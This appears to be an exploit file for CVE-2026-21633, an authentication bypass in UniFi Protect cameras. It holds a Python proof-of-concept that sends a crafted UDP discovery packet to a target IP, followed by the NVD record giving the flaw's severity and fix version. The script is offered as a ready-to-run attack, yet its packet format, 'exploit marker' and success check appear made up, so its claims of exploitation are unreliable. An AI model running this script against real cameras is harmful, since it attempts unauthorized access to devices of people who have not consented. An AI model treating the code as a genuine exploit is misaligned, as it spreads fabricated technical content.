CVE-2026-21633

# CVE-2026-21633 PoC - UniFi Protect Camera Discovery Protocol Exploit # This PoC demonstrates the discovery protocol vulnerability # Target: UniFi Protect Camera with versions <= 6.1.79 import socket import struct import sys def create_discovery_packet(): """Create malicious discovery packet to trigger unauthorized access""" # Discovery protocol header header = b'\x01\x00' # Protocol version packet_type = b'\x00\x01' # Discovery request type # Malicious payload to bypass authentication payload = b'\x00\x00\x00\x00' # Null credentials to exploit auth bypass payload += b'\x41\x41\x41\x41' * 8 # Padding payload += b'\xff\xff\xff\xff' # Exploit marker # Construct full packet packet = header + packet_type + payload packet += struct.pack('>I', len(payload)) # Length field return packet def exploit_camera(target_ip, target_port=7443): """Send exploit packet to target camera""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Send discovery exploit packet exploit_packet = create_discovery_packet() sock.sendto(exploit_packet, (target_ip, target_port)) print(f'[+] Exploit packet sent to {target_ip}:{target_port}') # Receive response (if vulnerable, will get auth bypass confirmation) try: response, addr = sock.recvfrom(4096) print(f'[+] Received response from {addr}') print(f'[+] Response data: {response.hex()}') # Check for successful exploitation indicators if b'\x00\x00\x00\x00' in response or len(response) > 20: print('[!] Target appears VULNERABLE - Auth bypass detected') return True except socket.timeout: print('[-] No response received') return False except Exception as e: print(f'[-] Error: {str(e)}') return False finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2026-21633-poc.py <target_ip>') sys.exit(1) target = sys.argv[1] print(f'[*] CVE-2026-21633 Exploit for UniFi Protect Camera') print(f'[*] Target: {target}') exploit_camera(target)

{"cve": {"id": "CVE-2026-21633", "sourceIdentifier": "[email protected]", "published": "2026-01-05T17:15:47.133", "lastModified": "2026-01-30T01:23:38.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the adjacent network could obtain unauthorized access to a UniFi Protect Camera by exploiting a discovery protocol vulnerability in the Unifi Protect Application (Version 6.1.79 and earlier).\r\n\r\n \r\n\r\nAffected Products:\r\n\r\nUniFi Protect Application (Version 6.1.79 and earlier).\r\n\r\n \r\n\r\nMitigation:\r\n\r\nUpdate your UniFi Protect Application to Version 6.2.72 or later."}, {"lang": "es", "value": "Un actor malicioso con acceso a la red adyacente podría obtener acceso no autorizado a una cámara UniFi Protect explotando una vulnerabilidad del protocolo de descubrimiento en la aplicación UniFi Protect (versión 6.1.79 y anteriores).\n\nProductos afectados:\nAplicación UniFi Protect (versión 6.1.79 y anteriores).\n\nMitigación:\nActualice su aplicación UniFi Protect a la versión 6.2.72 o posterior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ui:unifi_protect:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.2.72", "matchCriteriaId": "F58979E4-F426-4E50-BF77-7A94200D0357"}]}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-058-058/6922ff20-8cd7-4724-8d8c-676458a2d0f9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}